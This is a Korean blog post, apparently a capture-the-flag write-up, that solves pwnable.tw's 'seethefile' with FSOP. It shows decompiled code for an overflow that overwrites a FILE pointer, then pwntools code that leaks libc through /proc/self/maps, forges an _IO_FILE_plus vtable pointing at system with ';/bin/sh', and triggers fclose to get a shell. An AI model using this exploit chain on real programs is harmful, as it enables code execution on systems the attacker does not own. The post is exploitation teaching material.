Profile

youngsouk

youngsouk

FSOP - seethefile(pwnable.tw)

2019/09/12 - [힙(heap)/house_of_orange] - house_of_orange 번외 - fopen함수 분석(glibc 2.23)

2019/09/13 - [힙(heap)/house_of_orange] - house_of_orange 번외 fread 분석 (glibc 2.23)

2019/09/13 - [힙(heap)/house_of_orange] - house_of_orange 번외 - fwrite 분석

2019/09/13 - [힙(heap)/house_of_orange] - house_of_orange 번외 - fclose 분석

이렇게 파일 관련 함수들을 분석을 해보았는데 이번에는 이것을 바탕으로 FSOP라는 공격기법을 사용해볼 것입니다. 문제는 pwnable.tw의 seethefile이라는 문제입니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr; // [esp+Ch] [ebp-2Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  init();
  welcome();
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%s", &nptr);
    switch ( atoi(&nptr) )
    {
      case 1:
        openfile();
        break;
      case 2:
        readfile();
        break;
      case 3:
        writefile();
        break;
      case 4:
        closefile();
        break;
      case 5:
        printf("Leave your name :");
        __isoc99_scanf("%s", &name);
        printf("Thank you %s ,see you next time\n", &name);
        if ( fp )
          fclose(fp);
        exit(0);
        return;
      default:
        puts("Invaild choice");
        exit(0);
        return;
    }
  }
}

메뉴가 나뉘어져있는데 여기서는 case 5부분을 잘 보아야 합니다. 저기서 scanf를 사용하여 입력할 갯수에 제한이 없기 때문에 간단한 buffer overflow가 일어나게 됩니다. 

그런데 우리가 fp를 덮을 수 있다는 것을 확인했습니다. 

1번메뉴인 openfile부터 보겠습니다.

우리가 파일이름을 입력하면 그것을 토대로 파일을 열어줍니다. 당연히 flag는 필터링이 되어있습니다.

다음은 readfile()부분인데 1번에서 열게된 파일의 내용을 0x18f magicbuf로 읽어온다는 것을 알 수 있습니다.

그 다음으로는 writefile부분입니다. 여기서는 필터링을 거친후에 magicbuf의 값 즉 2번을 통해 얻어온 파일 내용을 출력한다는 것을 알 수 있습니다.

마지막으로 closefile부분인데 여기서는 1번에서 열었던 파일을 닫아주고 있습니다.

우리가 소스코드를 얻으면서 알아낸 취약점은  case 5에서 발생하는 bof 취약점뿐입니다. 하지만 이것을 통해 fp를 덮고 그것을 바탕으로 fclose를 호출하기 때문에 사실상 많은 것을 할 수 있습니다.

먼저 libc leak을 해야하는데 이것은 의외로 간단합니다. 바로 /proc/self/maps 파일을 열고 그 내용을 읽어들이면 마치 gdb에서 vmmap 명령어를 사용한 것과 같이 이 프로그램의 메모리 구조가 나오게됩니다. 즉 우리는 여기서 libc leak을 해낼 수 있습니다. 이것을 코드로 나타내게 되면

###libc leak
fopen('/proc/self/maps')
read()
write()
p.recvuntil('r-xp')

read()
write()
libc = int(p.recvuntil('r-xp').split(' ')[-2].strip()[:8],16)
log.info('libc : ' + hex(libc))
log.info('system ' + hex(libc + l.sym['system']))
############

이런식으로 libc leak을 간단하게 진행할 수 있습니다.

2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2)

그 다음으로는 2번글에서 가짜 구조체를 작성한 것처럼 5번을 입력하여 가짜 _IO_FILE_plus구조체를 작성해야합니다. 여기서 vtable을 잘조작하셔서 finish를 system함수의 주소로 만드시면 됩니다.

2019/09/13 - [힙(heap)/house_of_orange] - house_of_orange 번외 - fclose 분석

왜냐하면 위글에서 보신 것처럼 fp의 flag부분을 0xffffffff으로 만들어서 vtable의 finish 부분을 system의 주소로 덮어 system함수를 실행할 것이기 때문입니다. 그래서 

2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2)

여기서 알아본 것처럼 가짜 _IO_FILE_plus 구조체를 작성하시면 됩니다. 다만 여기서 주의하실 것이 

2019/09/13 - [힙(heap)/house_of_orange] - house_of_orange 번외 - fclose 분석

이 글에서 보셧듯이 vtable의 finish함수를 실행할 때 인자가 fp 입니다. 즉 가짜 구조체의 시작 주소가 됩니다. 그래서 flag부분에 \x00이 들어가 있으면 안됩니다. 만약 들어가게 되면 /bin/sh;를 실행하기 전에 \x00을 만나 system함수가 종료가 되게 됩니다. 따라서 가짜 구조체 부분을 작성하는 코드를 보자면

### write fake _IO_FILS_plus 
log.info('FAKE FILE start : ' + hex(struct_start))
log.info('vtable : ' + hex(vtable))
log.info('offset : ' + hex(l.sym['puts']))

payload = 'a' * 0x20
payload += p32(struct_start)

struct = p32(0xffffffff)
struct += ';/bin/sh\x00'
struct = struct.ljust(0x94,'\x00')
struct += p32(struct_start + 0x94 + 4)

vtable = p32(0) *2
vtable += p32(libc + l.sym['system'])
vtable = vtable.ljust(0x44,'\x00')
vtable += p32(libc + l.sym['system'])

struct += vtable
payload += struct
#######################

이렇게 됩니다. 그 다음으로 해줄일은 fclose를 실행시킴으로서 쉘을 따는 것밖에 없습니다.

### triger fclose -> get shell!
p.sendlineafter('Your choice :', str(5))
pause()
p.sendlineafter('Leave your name :', payload)
##############################

p.interactive()

그래서 이것을 실행시키게 되면 

이런식으로 쉘이 따지게 됩니다.

'FSOP' 카테고리의 다른 글

setvbuf 함수 분석  (0) 2019.09.25
fclose 분석  (0) 2019.09.13
fwrite 분석  (0) 2019.09.13
fread 분석  (0) 2019.09.13
fopen함수 분석  (0) 2019.09.12